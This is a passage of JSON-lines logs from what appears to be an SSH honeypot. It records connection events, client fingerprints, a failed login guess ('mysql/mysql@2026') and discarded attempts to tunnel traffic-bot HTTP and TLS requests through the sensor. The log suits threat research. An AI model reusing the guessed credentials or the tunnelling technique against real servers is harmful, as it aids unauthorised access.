X\\x1e\\xf6\\xa7\\x93\\xb7tk_\\xa2\\xce\\xccE9\\x97\\x98\\xa2t\\xa7\\xa6\\x05\\xe2\\xa4\\x13\\xe46\\xc5f\\xa2_\\x80%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:26.578100Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:26.935322Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.194916Z","src_ip":"91.92.40.36","session":"97bc9180fdb9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.416843Z","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.421360Z","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.478432Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Tzx2Y3U1ZjhqNENPTW9kMA%3D%3D18W1MrUm8WDkGgGoecbXa15GBzoy2tinBCxlbDN7%2BEX7q0%2FkwESzBGhk6Dvoi2zI81U4XIkVLb1phCwc1UXywK4QYpiyZTvEESpfisPuZdBQfnWXzO0QqmdGZYs9e19oG%2BlOefA8qebeSGb17dUxaxsbS%2B13pkdq6X%2FbHm1toh2QrnI44WPknk4p09tAD4kEJF5vVe%2BOC9Ba9qhAikdF0LVrofRz%2Bxzudi0XC7i881mK%2Be4DmNQ25LquwLNJZTGyllCtbdVrwxzK28s%2BNj86kHZ7PrV5H2bP%2Bzy0Zr1Dycstvd1kXD4AHjKYENeFWYyAQIJG%2Boe9BLv5UzUWdtsJyuSWCFNoR0z9yf7GIU6UYo3xdwdrN3xmfuO8FNeO7hDCJ4zN9KePTI06cj2O1Xav2r7LTpmun4BIrRma%2BmDCVemL0wiEl7nzyPUcf1oG2jrIyQNeAk4baNmvk9Gs1vatDF%2Fz%2F0LpGlMZT7u7eqQHSpAi8aUflCp0nYb8f1WVNkuIFqCmtytrv6Ml9S15hREgPjyP6ZerNaAIm3PHseRPx%2F5SYaTZup91SHA05FhdhCVXUQRMJZPn%2FhrvQpgrwoXTOBsi%2Fo%2Fo63yuXIkYBlpYNuM1m6%2B6WyasoSxuqSejEt6rQgHWT%2BfsF52xK6rvJLG9sfSi79lDGfJVTD27HoFpjiCFTlwYIOG8hOIYz%2BCd%2FEN4uFcLA4AWdTfiy28S8hHYUOPgWeI0sp8AM%2FU4ZO6r7XphItTs9cqEGHooIQ%2FZv8J2gQvV68GcZvQSnIhyq%2FjIB4Nd%2ByhLEGh6iaJINJldS0aCv%2FvMCu3wxjX%2BWYQ60laxXlnzOa%2FzyM5sTbwB7mo77ztjRnSua7Z9mdIKsSMGhmSv01YoL67%2FYWbz2GXR4DWTsoTimgPzTg%2FN8nGfK%2B115QW9xCc%2FeiLnlRs0%2FKlz1Sq1JZv3%2BFyxo%2BPBqPvvhvTlsOdHQyB5SwacnyrKdYlYxvUFmN9mcgPBRqEsMXqpptUVqc4lLUIxDD0sS35pLAo3SVoxp4tyj1x4G%2Fug2Nl%2FQAOChdReJ2V%2FtDls3ocjVwY4vMdMFOzbcVsjXL8%2B%2BBTx'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Tzx2Y3U1ZjhqNENPTW9kMA%3D%3D18W1MrUm8WDkGgGoecbXa15GBzoy2tinBCxlbDN7%2BEX7q0%2FkwESzBGhk6Dvoi2zI81U4XIkVLb1phCwc1UXywK4QYpiyZTvEESpfisPuZdBQfnWXzO0QqmdGZYs9e19oG%2BlOefA8qebeSGb17dUxaxsbS%2B13pkdq6X%2FbHm1toh2QrnI44WPknk4p09tAD4kEJF5vVe%2BOC9Ba9qhAikdF0LVrofRz%2Bxzudi0XC7i881mK%2Be4DmNQ25LquwLNJZTGyllCtbdVrwxzK28s%2BNj86kHZ7PrV5H2bP%2Bzy0Zr1Dycstvd1kXD4AHjKYENeFWYyAQIJG%2Boe9BLv5UzUWdtsJyuSWCFNoR0z9yf7GIU6UYo3xdwdrN3xmfuO8FNeO7hDCJ4zN9KePTI06cj2O1Xav2r7LTpmun4BIrRma%2BmDCVemL0wiEl7nzyPUcf1oG2jrIyQNeAk4baNmvk9Gs1vatDF%2Fz%2F0LpGlMZT7u7eqQHSpAi8aUflCp0nYb8f1WVNkuIFqCmtytrv6Ml9S15hREgPjyP6ZerNaAIm3PHseRPx%2F5SYaTZup91SHA05FhdhCVXUQRMJZPn%2FhrvQpgrwoXTOBsi%2Fo%2Fo63yuXIkYBlpYNuM1m6%2B6WyasoSxuqSejEt6rQgHWT%2BfsF52xK6rvJLG9sfSi79lDGfJVTD27HoFpjiCFTlwYIOG8hOIYz%2BCd%2FEN4uFcLA4AWdTfiy28S8hHYUOPgWeI0sp8AM%2FU4ZO6r7XphItTs9cqEGHooIQ%2FZv8J2gQvV68GcZvQSnIhyq%2FjIB4Nd%2ByhLEGh6iaJINJldS0aCv%2FvMCu3wxjX%2BWYQ60laxXlnzOa%2FzyM5sTbwB7mo77ztjRnSua7Z9mdIKsSMGhmSv01YoL67%2FYWbz2GXR4DWTsoTimgPzTg%2FN8nGfK%2B115QW9xCc%2FeiLnlRs0%2FKlz1Sq1JZv3%2BFyxo%2BPBqPvvhvTlsOdHQyB5SwacnyrKdYlYxvUFmN9mcgPBRqEsMXqpptUVqc4lLUIxDD0sS35pLAo3SVoxp4tyj1x4G%2Fug2Nl%2FQAOChdReJ2V%2FtDls3ocjVwY4vMdMFOzbcVsjXL8%2B%2BBTx'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.483911Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.487804Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9*H\\xbb\\xb8\\x88`\\x031\\x9f\\x0f\\xd9\\x8b/\\xcbm\\xafs\\xa2Q\\xd5\\x86\\xb7R\\xecd\\xc4C\\xb9\\x05u\\x02 \\xfcj\\x89\\xec\\x95\\x1e6\\x08\\x05t\\xc8,\\xc2\\xec\\xb7\\x10\\xaa\\xf5\\x99.\\xf3\\x03\\x0b\\xe8\\xdc+\\xaf\\x86n\\xaf\\xdb+\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\r\\x86\\x87L\\xea\"\\x1e\\xc93QZ\\xf0\\xb4\\xe2\\x01UL\\x82f\\xfa\\x10Y\\xbd\\x83so\\xa3\\t\\x19\\xe1;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9*H\\xbb\\xb8\\x88`\\x031\\x9f\\x0f\\xd9\\x8b/\\xcbm\\xafs\\xa2Q\\xd5\\x86\\xb7R\\xecd\\xc4C\\xb9\\x05u\\x02 \\xfcj\\x89\\xec\\x95\\x1e6\\x08\\x05t\\xc8,\\xc2\\xec\\xb7\\x10\\xaa\\xf5\\x99.\\xf3\\x03\\x0b\\xe8\\xdc+\\xaf\\x86n\\xaf\\xdb+\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\r\\x86\\x87L\\xea\"\\x1e\\xc93QZ\\xf0\\xb4\\xe2\\x01UL\\x82f\\xfa\\x10Y\\xbd\\x83so\\xa3\\t\\x19\\xe1;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.490898Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.631012Z","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.695439Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\xdcGF\\xe9\\xaa\\xc4\\xdc\\x9e\\xc7\\xd1f\\x86\\xd9v\\x90\\x0f\\xfc\\x9f\\xe9s\\x16\\x8d\\x8f\\x7f\\xbe\\x1b\\x9f\\x9b\\xfb\\xbdk k\\xd2\\x11\\xf6\\x96\\x0c0\\xca\\x100\\x05\\xcat\\xc2B\\x90KcJ\\xdaD\\x1a\\x0c\\xee*?8\\xef\\x07\\x06\\xed\\xc9\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8\\xc7\\x1b\\xde\\xe82\\xe2\\xc1\\x95f\\x03K\\xaf\\xdb\\xbeQ\\x1b\\xd4o$>\\xd6\\xff\\xe4u\\xe6\\x18\\xed\\x14\\xadD\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\xdcGF\\xe9\\xaa\\xc4\\xdc\\x9e\\xc7\\xd1f\\x86\\xd9v\\x90\\x0f\\xfc\\x9f\\xe9s\\x16\\x8d\\x8f\\x7f\\xbe\\x1b\\x9f\\x9b\\xfb\\xbdk k\\xd2\\x11\\xf6\\x96\\x0c0\\xca\\x100\\x05\\xcat\\xc2B\\x90KcJ\\xdaD\\x1a\\x0c\\xee*?8\\xef\\x07\\x06\\xed\\xc9\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8\\xc7\\x1b\\xde\\xe82\\xe2\\xc1\\x95f\\x03K\\xaf\\xdb\\xbeQ\\x1b\\xd4o$>\\xd6\\xff\\xe4u\\xe6\\x18\\xed\\x14\\xadD\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.698893Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@2026","message":"login attempt [mysql/mysql@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:28.818150Z","src_ip":"91.92.40.36","session":"22ad39a03c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:30.155071Z","src_ip":"91.92.40.36","session":"22ad39a03c28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":58046,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1045e275ef1","protocol":"ssh","message":"New connection: 103.153.68.219:58046 (10.17.0.5:22) [session: f1045e275ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:31.319890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:31.324914Z","src_ip":"103.153.68.219","session":"f1045e275ef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","e